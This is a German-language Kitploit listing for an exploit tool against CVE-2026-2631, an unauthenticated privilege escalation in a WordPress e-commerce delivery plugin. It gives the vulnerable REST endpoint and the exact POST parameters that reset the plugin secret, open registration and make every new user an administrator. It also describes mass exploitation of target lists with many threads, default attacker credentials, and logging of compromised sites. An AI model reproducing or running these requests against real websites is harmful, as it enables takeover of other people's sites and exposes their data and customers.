Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-2631 — Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Nicht authentifizierte Rechteausweitung | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-2631
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubnxploited/cve-2026-2631

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Nicht authentifizierte Rechteausweitung

Repository anzeigen
322vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Nicht authentifizierte Privilegienausweitung

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Nicht authentifizierte Privilegienausweitung

PoC / Exploit-Skript: CVE-2026-2631.py
Autor: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Kontakt: Telegram: @Kxploit


🧬 Schwachstellenübersicht

  • Plugin: Datalogics Ecommerce Delivery – Datalogics (WordPress)
  • Betroffene Versionen: < 2.6.60 (exklusive)
  • Schwachstellentyp: Nicht authentifizierte Privilegienausweitung
  • CVE: CVE-2026-2631
  • CVSS v3.1: 9.8 (Kritisch)
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Öffentlich veröffentlicht: 12. März 2026
  • Zuletzt aktualisiert: 19. März 2026
  • Forscher: Khaled Alenazi (Nxploited)

Das Datalogics Ecommerce Delivery – Datalogics-Plugin legt einen nicht authentifizierten Endpunkt offen:

/wp-json/gsf/v1/update-options

Dieses Skript missbraucht diesen Endpunkt, um:

  1. 💣 Den internen shop_secret-Schlüssel mithilfe der verwundbaren Aktion resetStoreConfigrations zurückzusetzen.
  2. 🔓 Die Benutzerregistrierung zu aktivieren: users_can_register = 1.
  3. 👑 Die Standardrolle neuer Benutzer auf administrator zu setzen: default_role = administrator.
  4. 🧑‍💻 Automatisch einen neuen Benutzer über das WordPress-Registrierungsformular zu registrieren:
    • wp-login.php?action=register

Im Erfolgsfall ist jeder neue Benutzer, der über das Registrierungsformular erstellt wird, ein Administrator.


⚙️ Funktionen

  • ✅ Massenausnutzung gegen mehrere WordPress-Ziele (aus einer Datei).
  • ✅ Nicht authentifiziert (kein Login/keine Cookies erforderlich).
  • ✅ Automatisches Zurücksetzen von shop_secret über den verwundbaren REST-Endpunkt.
  • ✅ Automatische WordPress-Optionsaktualisierung:
    • users_can_register = 1
    • default_role = administrator
  • ✅ Automatische Kontoregistrierung mit benutzerdefinierten Anmeldedaten.
  • ✅ Rich-TUI-Ausgabe mithilfe von rich (farbige und live aktualisierte Tabelle).
  • ✅ Multithreaded mit einstellbarer Thread-Anzahl.
  • ✅ Ergebnisprotokollierung in Login_admin.txt.

📦 Anforderungen

🐍 Laufzeitumgebung

  • Python 3.x (empfohlen 3.8+)

📚 Python-Pakete

Installiere die erforderlichen Pakete:

pip install -r requirements.txt

Beispiel requirements.txt:

requests
rich
urllib3

Oder manuell installieren:

pip install requests rich urllib3

🧪 Skriptlogik (Ablauf auf hoher Ebene)

Für jedes Ziel:

  1. URL normalisieren

    • Stellt sicher, dass http:// vorangestellt wird, falls es fehlt.
    • Entfernt abschließende Schrägstriche.
  2. shop_secret zurücksetzen

    • Endpunkt:
      /wp-json/gsf/v1/update-options
    • POST-Daten:
      • action = resetStoreConfigrations
      • shop_secret = <new_secret>
    • Prüft auf den Antworttext:
      • app secret key has been updated successfully
  3. WordPress-Optionen aktualisieren

    • Gleicher Endpunkt, mit:
      • action = createUpdateOption
    • Zwei Optionsaktualisierungen:
      1. option_key = users_can_register, option_value = 1
      2. option_key = default_role, option_value = administrator
    • Erfolgsmuster:
      • wordpress option has been created or updated successfully
  4. Prüfen, ob die Registrierung geöffnet ist

    • URL:
      /wp-login.php?action=register
    • Prüft HTML auf:
      • Users can register, Anyone can register, user_registration, registerform
    • Oder erkennt explizit:
      • user registration is currently not allowed
  5. Benutzerregistrierung versuchen

    • Gleiche Registrierungs-URL.
    • Extrahiert _wpnonce aus einem versteckten Eingabefeld, falls vorhanden.
    • Sendet Registrierungs-POST:
      • user_login, user_email
      • user_pass/user_pass2, falls Passwortfelder existieren
      • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
    • Erkennt Erfolg an:
      • registration complete, check your email, user registered
    • Falls der Benutzername bereits existiert:
      • Markiert als erfolgreich: user_already_exists
  6. Protokollierung

    • Jede erfolgreiche Optionsaktualisierung (mit oder ohne Registrierungserfolg) schreibt eine Zeile in:
      • Login_admin.txt
    • Format:
      <site> | register_url: <url> | shop_secret: <secret> | <details>
      

🧵 Multithreading-Modell

  • Liest alle Ziele aus list.txt (oder einer benutzerdefinierten Datei).
  • Teilt die Ziele mithilfe von chunkify in N Blöcke auf.
  • Startet N Worker-Threads, die jeweils ihre eigene Zielliste verarbeiten.
  • Verwendet eine gemeinsame Queue für Statussmeldungen an den Printer-Thread.
  • Ein dedizierter Printer-Thread (printer_loop) aktualisiert eine Live-rich-Tabelle:
    • Zeigt Index, Seite, Status (SUCCESS/FAILED/ERROR) und Detail.
    • Zeigt die Gesamtzahl der verarbeiteten Einträge und den Ausgabedateinamen.

🚀 Verwendung

1️⃣ Einfacher Start

python3 CVE-2026-2631.py

Sie werden interaktiv nach Folgendem gefragt:

  1. Zieldatei

    • Eingabeaufforderung: Targets file (one host/URL per line) [list.txt]:
    • Standard: list.txt
    • Jede Zeile: Domain oder vollständige URL
      • Beispiele:
        • victim.com
        • https://target-site.com
        • http://example.org/blog
  2. Threads

    • Eingabeaufforderung: Threads (1-50) [10]:
    • Standard: 10
    • Max: 50
      Mehr Threads = schneller, aber höhere Last auf Ihrem System und den Zielen.
  3. shop_secret-Wert

    • Eingabeaufforderung: shop_secret [Nxploited_newSecret]:
    • Standard: Nxploited_newSecret
      Dies ist der neue geheime Schlüssel, der an resetStoreConfigrations gesendet wird.
  4. Registrierungsanmeldedaten

    • Registration username [Nx_test1]:
    • Registration email [[email protected]]:
    • Registration password [Nx_adminSA]:

Diese Anmeldedaten werden für den Registrierungsversuch auf jedem verwundbaren Ziel verwendet.


2️⃣ Format der Zieldatei

Erstelle list.txt (oder eine beliebige andere Datei) mit einem Ziel pro Zeile:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

Das Skript wird:

  • Automatisch http:// hinzufügen, falls es fehlt.
  • Abschließende / entfernen.

3️⃣ Ausgabe & Ergebnisse

  • Alle erfolgreichen Vorgänge (auch wenn die Benutzerregistrierung fehlschlägt, aber die Optionen gesetzt wurden) werden geschrieben in:

    Login_admin.txt

  • Eine typische Zeile:

    http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
    
  • Beispiele für Status in der Live-Tabelle:

    • ✅ SUCCESS – Optionen gesetzt und/oder Benutzer registriert.
    • ❌ FAILED – Zurücksetzen/Optionen fehlgeschlagen, Schwachstelle nicht ausnutzbar.
    • ⚠️ ERROR – Ausnahme, Netzwerkfehler, Zeitüberschreitungen usw.

🧱 HTTP-Endpunkte & Parameter

🔓 Verwundbarer REST-Endpunkt

POST /wp-json/gsf/v1/update-options

1. shop_secret zurücksetzen

action=resetStoreConfigrations
shop_secret=<new_secret>

2. Optionen aktualisieren

action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Registrierungs-Endpunkt

GET/POST /wp-login.php?action=register

Das Skript:

  • Extrahiert _wpnonce, falls vorhanden.
  • Sendet Registrierungsdaten mit dem angegebenen Benutzernamen, der E-Mail und dem Passwort (falls Felder vorhanden sind).

Tool herunterladen